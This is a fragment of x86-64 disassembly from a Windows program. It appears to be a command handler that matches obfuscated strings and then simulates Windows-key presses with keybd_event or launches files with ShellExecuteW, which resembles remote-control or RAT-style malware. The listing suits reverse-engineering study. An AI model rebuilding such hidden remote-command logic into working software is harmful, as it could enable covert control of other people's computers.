mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f56c
jmp 0x14014b5f4
lea rcx, [rsp + 0x490]
call fcn.1400305d0
lea rdx, [0x14021dfb8]
lea rcx, [rsp + 0x40]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014d74c
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014d640
test rax, rax
je 0x14014d74c
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014d74c
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014d671
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x40]
call fcn.1400305d0
test edi, edi
je 0x14014d756
mov qword [rsp + 0x40], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], r14b
movsxd rdi, r12d
add rdi, rbx
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14014d6b5
add rsi, rbx
cmp rdi, rsi
je 0x14014d718
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jae 0x14014d706
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014d710
lea rcx, [rsp + 0x40]
call fcn.1400290b0
inc rdi
cmp rdi, rsi
jne 0x14014d6d0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov rcx, r15
call fcn.14014f7a0
test al, al
je 0x14014d73d
mov byte [r15 + 0x118], 1
lea rcx, [rsp + 0x40]
call fcn.1400305d0
jmp 0x14014f43d
lea rcx, [rsp + 0x40]
call fcn.1400305d0
lea rdx, [0x14021dfd8]
lea rcx, [rsp + 0x4b0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014db8c
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014d780
test rax, rax
je 0x14014db8c
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014db8c
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014d7b1
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x4b0]
call fcn.1400305d0
test edi, edi
je 0x14014db99
mov qword [rsp + 0x168], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x178], xmm0
mov byte [rsp + 0x168], r14b
movsxd rdi, r12d
add rdi, rbx
mov r12, rsi
inc r12
cmp byte [rbx + r12], 0
jne 0x14014d804
add r12, rbx
cmp rdi, r12
je 0x14014d87a
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
cmp rcx, rdx
jae 0x14014d865
lea rax, [rcx + 1]
mov qword [rsp + 0x178], rax
lea rax, [rsp + 0x168]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x168]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014d872
lea rcx, [rsp + 0x168]
call fcn.1400290b0
inc rdi
cmp rdi, r12
jne 0x14014d820
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 0x10
cmovae rdx, qword [rsp + 0x168]
mov rcx, r15
call fcn.14014f7a0
test al, al
je 0x14014db41
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f572
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x30
lea rdx, str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
lea rcx, [rsp + 0x5e0]
call fcn.140038860
nop
lea r8, [rsp + 0x168]
cmp qword [rsp + 0x180], 0x10
cmovae r8, qword [rsp + 0x168]
mov r9, qword [rsp + 0x178]
add r9, r8
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x5e0]
call fcn.140039bf0
nop
lea r12, vtable.std::wstring_convert_class_std::codecvt_utf8_utf16_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x5e0], r12
lea rcx, [rsp + 0x620]
call fcn.140031830
lea rcx, [rsp + 0x600]
call fcn.1400305d0
mov rcx, qword [rsp + 0x5f8]
test rcx, rcx
je 0x14014d98a
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014d98a
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea r12, [rsp + 0x550]
cmp qword [rsp + 0x568], 8
cmovae r12, qword [rsp + 0x550]
mov qword [rsp + 0x1c0], r14
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r14
lea r14, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r14, qword [rsp + 0x60]
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f57d
mov qword [rsp + 0x1d8], 7
lea rcx, [rsp + 0x1c0]
cmp rdi, 8
jae 0x14014da17
mov qword [rsp + 0x1d0], rdi
mov r8d, 0x10
mov rdx, r14
call fcn.140185440
jmp 0x14014da5e
mov rdx, rdi
call fcn.140030e10
mov rbx, rax
lea rdx, [rax + 1]
lea rcx, [rsp + 0x1c0]
call fcn.140030fc0
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1d0], rdi
mov qword [rsp + 0x1d8], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x3e8]
call fcn.14004bc20
nop
mov r8, r12
mov rdx, qword [rax]
lea rcx, [rsp + 0x2c0]
call fcn.140025c80
nop
mov rdx, qword [rsp + 0x3e8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014daaa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x550]
call fcn.140031830
mov rbx, qword [rsp + 0x2c0]
lea rcx, [rbx - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x2c8], rax
lea rdx, [rsp + 0x2c8]
mov rcx, r15
call fcn.140149c70
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14014db28
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014db22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f583
call fcn.140183144
nop
lock xadd dword [rbx - 8], esi
sub esi, 1
jg 0x14014db41
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f589
jmp 0x14014b5f4
lea rcx, [rsp + 0x4b0]
call fcn.1400305d0
lea rdx, [0x14021e038]
lea rcx, [rsp + 0x60]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014dddf
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014dbc0
test rax, rax
je 0x14014dddf
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014dddf
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014dbf1
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x60]
call fcn.1400305d0
test edi, edi
je 0x14014dde9
mov qword [rsp + 0x390], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x3a0], xmm0
mov byte [rsp + 0x390], r14b
movsxd rdi, r12d
add rdi, rbx
mov r14, rsi
inc r14
cmp byte [rbx + r14], 0
jne 0x14014dc41
add r14, rbx
cmp rdi, r14
je 0x14014dcad
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0x3a8]
cmp rcx, rdx
jae 0x14014dc98
lea rax, [rcx + 1]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x390]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x390]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014dca5
lea rcx, [rsp + 0x390]
call fcn.1400290b0
inc rdi
cmp rdi, r14
jne 0x14014dc53
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f58f
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x1b8], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f59a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x80], rax
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x390]
call fcn.140053b30
lea rdx, [rsp + 0x1b8]
call fcn.14014f5f0
mov r14d, dword [rax]
mov rbx, qword [rsp + 0x80]
test r14d, r14d
je 0x14014dd5a
mov rdi, qword [r15 + 0x20]
lea rcx, [rbx - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x98], rax
mov r8d, r14d
lea rdx, [rsp + 0x98]
mov rcx, rdi
call fcn.14006cf00
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014dd74
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x1b8]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14014dd94
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f5a5
jmp 0x14014b5f4
lea rcx, [rsp + 0x60]
call fcn.1400305d0
lea rdx, [0x14021e278]
lea rcx, [rsp + 0x4d0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014e119
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014de10
test rax, rax
je 0x14014e119
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014e119
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014de41
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x4d0]
call fcn.1400305d0
test edi, edi
je 0x14014e126
mov qword [rsp + 0x3b0], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x3c0], xmm0
mov byte [rsp + 0x3b0], r14b
movsxd rdi, r12d
add rdi, rbx
mov r15, rsi
inc r15
cmp byte [rbx + r15], 0
jne 0x14014de94
add r15, rbx
cmp rdi, r15
je 0x14014df0a
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
cmp rcx, rdx
jae 0x14014def5
lea rax, [rcx + 1]
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x3b0]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x3b0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014df02
lea rcx, [rsp + 0x3b0]
call fcn.1400290b0
inc rdi
cmp rdi, r15
jne 0x14014deb0
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f5ab
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x118], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rsp + 0x118]
call fcn.140031e00
test al, al
jne 0x14014df6e
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14014df50
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x118]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f5b6
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x110], rax
mov rdx, rbx
lea rcx, [rsp + 0x110]
call fcn.140031e00
test al, al
jne 0x14014dfce
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14014dfb0
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x110]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f5c1
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x108], rax
mov rdx, rbx
lea rcx, [rsp + 0x108]
call fcn.140031e00
test al, al
jne 0x14014e02e
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14014e010
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x108]
call fcn.140032190
nop
mov dword [rsp + 0xb78], r14d
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x110]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x3b0]
call fcn.1400540d0
mov r9d, dword [rsp + 0xb78]
lea r8, [rsp + 0x118]
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x110]
call fcn.140056700
nop
mov rdx, qword [rsp + 0x108]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014e0b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x110]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014e0d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x118]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14014e0f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x3b0]
call fcn.1400323c0
jmp 0x14014f43d
lea rcx, [rsp + 0x4d0]
call fcn.1400305d0
lea rdx, [0x14021e0d8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014e470
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014e150
test rax, rax
je 0x14014e470
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014e470
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014e181
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014e47d
movsxd rdi, r12d
add rdi, rbx
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f5cc
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x120], rax
mov rdx, rdi
lea rcx, [rsp + 0x120]
call fcn.140031e00
test al, al
jne 0x14014e1f8
mov rdx, rdi
lea rcx, [rsp + 0x120]
call fcn.140031070
nop
lea rdx, [rsp + 0x120]
call fcn.14014f5f0
mov r12d, dword [rax]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f5d7
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x470], r14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x480], xmm0
mov r8d, 0x2c
lea rdx, str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea rcx, [rsp + 0x470]
call fcn.140030750
nop
mov rbx, qword [rsp + 0x120]
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x980]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.14004bc20
nop
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x188]
call fcn.140025c80
nop
mov rdx, qword [rsp + 0x190]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014e2bd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp r12d, 4
je 0x14014e3c7
cmp r12d, 8
je 0x14014e32a
cmp r12d, 0x10
je 0x14014e304
cmp r12d, 0x40
jne 0x14014e2ee
mov rax, qword [r15 + 0x18]
mov byte [rax + 0x173], 0
call fcn.140006db0
jmp 0x14014e3d2
test r12d, r12d
jne 0x14014e3d2
mov rbx, qword [rsp + 0x188]
jmp 0x14014e407
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x5b
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x5b
call qword [sym.imp.USER32.dll_keybd_event]
jmp 0x14014e3d2
mov rax, qword [r15 + 0x18]
mov dword [rax + 0x180], r14d
mov qword [rsp + 0x450], r14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x460], xmm0
mov r8d, 0x44
lea rdx, str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
lea rcx, [rsp + 0x450]
call fcn.140030750
nop
mov rbx, qword [r15 + 0x20]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x940]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.14004bc20
mov r8d, 4
mov rdx, rax
mov rcx, rbx
call fcn.14006cf00
nop
mov r8, qword [rsp + 0x468]
cmp r8, 8
jb 0x14014e3d2
inc r8
mov rdx, qword [rsp + 0x450]
lea rcx, [rsp + 0x450]
call fcn.1400317f0
jmp 0x14014e3d2
mov rax, qword [r15 + 0x18]
mov dword [rax + 0x184], r14d
mov rdi, qword [r15 + 0x20]
mov rbx, qword [rsp + 0x188]
lea rcx, [rbx - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x158], rax
mov r8d, r12d
lea rdx, [rsp + 0x158]
mov rcx, rdi
call fcn.14006cf00
nop
mov r8, qword [rsp + 0x488]
cmp r8, 8
jb 0x14014e42e
inc r8
mov rdx, qword [rsp + 0x470]
lea rcx, [rsp + 0x470]
call fcn.1400317f0
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014e448
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x120]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14014f43d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14014f43d
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
lea rdx, [0x14021e238]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014eaaa
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014e4a0
test rax, rax
je 0x14014eaaa
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014eaaa
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014e4d1
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014eab7
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdi, r12d
add rdi, rbx
nop dword [rax + rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14014e520
add rsi, rbx
cmp rdi, rsi
je 0x14014e570
movzx r15d, byte [rdi]
mov rbx, qword [rsp + 0x70]
lea rcx, [rsp + 0x60]
cmp rbx, qword [rsp + 0x78]
jae 0x14014e55f
lea rax, [rbx + 1]
mov qword [rsp + 0x70], rax
call fcn.14002ec70
mov byte [rax + rbx], r15b
mov byte [rax + rbx + 1], 0
jmp 0x14014e568
movzx r9d, r15b
call fcn.1400290b0
inc rdi
cmp rdi, rsi
jne 0x14014e531
lea rdx, [0x14021e3b8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14014f9d0
movzx ebx, al
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test bl, bl
je 0x14014e5af
call fcn.1400561f0
jmp 0x14014ea9b
lea rdx, [0x14021e3d8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14014f9d0
movzx ebx, al
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test bl, bl
je 0x14014e5fa
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400566b0]
call fcn.140192844
jmp 0x14014ea9b
lea rdx, [0x14021e3f8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14014f9d0
movzx ebx, al
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
lea rcx, [rsp + 0xd0]
test bl, bl
je 0x14014e84a
lea rdx, [0x14021e378]
call fcn.14004bb30
nop
mov rcx, rax
call fcn.14002ec70
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.1400311a0
nop
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
mov eax, 0xa
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, qword [rsp + 0xc0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x14014e845
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.bnBtYnNhcg
lea rcx, [rsp + 0x80]
call fcn.1400322d0
nop
lea rdx, str.cF1gZ2xdbW5jbF1jcHBtcA
lea rcx, [rsp + 0xa8]
call fcn.1400322d0
nop
lea rdx, str.JGNBbWJjOyNqcw
lea rcx, [rsp + 0xb0]
call fcn.1400322d0
nop
lea rcx, [rsp + 0xb68]
call fcn.1400247a0
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004beb0
nop
mov r8d, ebx
mov rdx, qword [rax]
lea rcx, [rsp + 0xb68]
call fcn.140025c80
nop
lea rcx, [rsp + 0x90]
call fcn.140006cb0
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400322d0
nop
mov rdx, rbx
lea rcx, [rsp + 0x98]
call fcn.1400322d0
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14004beb0
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x90]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14004beb0
nop
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x98]
lea r8, [rsp + 0xb68]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
lea rcx, [rsp + 0xb8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xc8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x98]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb68]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x80]
call fcn.140006cb0
nop
jmp 0x14014ea8d
lea rdx, str.YV9qYQ
call fcn.14004bb30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14014f9d0
movzx ebx, al
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test bl, bl
je 0x14014ea9b
lea rdx, str.YV9qYQ
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
nop
mov rcx, rax
call fcn.14002ec70
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.1400311a0
nop
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
mov eax, 0xa
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, qword [rsp + 0xc0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x14014ea8d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.bnBtYnNhcg
lea rcx, [rsp + 0x80]
call fcn.1400322d0
nop
lea rdx, str.YV9qYV1jcHBtcA
lea rcx, [rsp + 0xa8]
call fcn.1400322d0
nop
lea rdx, str.JGNBbWJjOyNqcw
lea rcx, [rsp + 0xb0]
call fcn.1400322d0
nop
lea rcx, [rsp + 0xb68]
call fcn.1400247a0
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004beb0
nop
mov r8d, ebx
mov rdx, qword [rax]
lea rcx, [rsp + 0xb68]
call fcn.140025c80
nop
lea rcx, [rsp + 0x90]
call fcn.140006cb0
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400322d0
nop
mov rdx, rbx
lea rcx, [rsp + 0x98]
call fcn.1400322d0
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14004beb0
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x90]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14004beb0
nop
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x98]
lea r8, [rsp + 0xb68]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
lea rcx, [rsp + 0xb8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xc8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x98]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb68]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x80]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xc0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
lea rdx, [0x14021e298]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014eb59
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdx, dword [rsp + 0xb68]
add rdx, rbx
lea rsi, [rsi + 1]
cmp byte [rbx + rsi], 0
jne 0x14014eb14
lea r8, [rbx + rsi]
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0xb68]
call fcn.14014f940
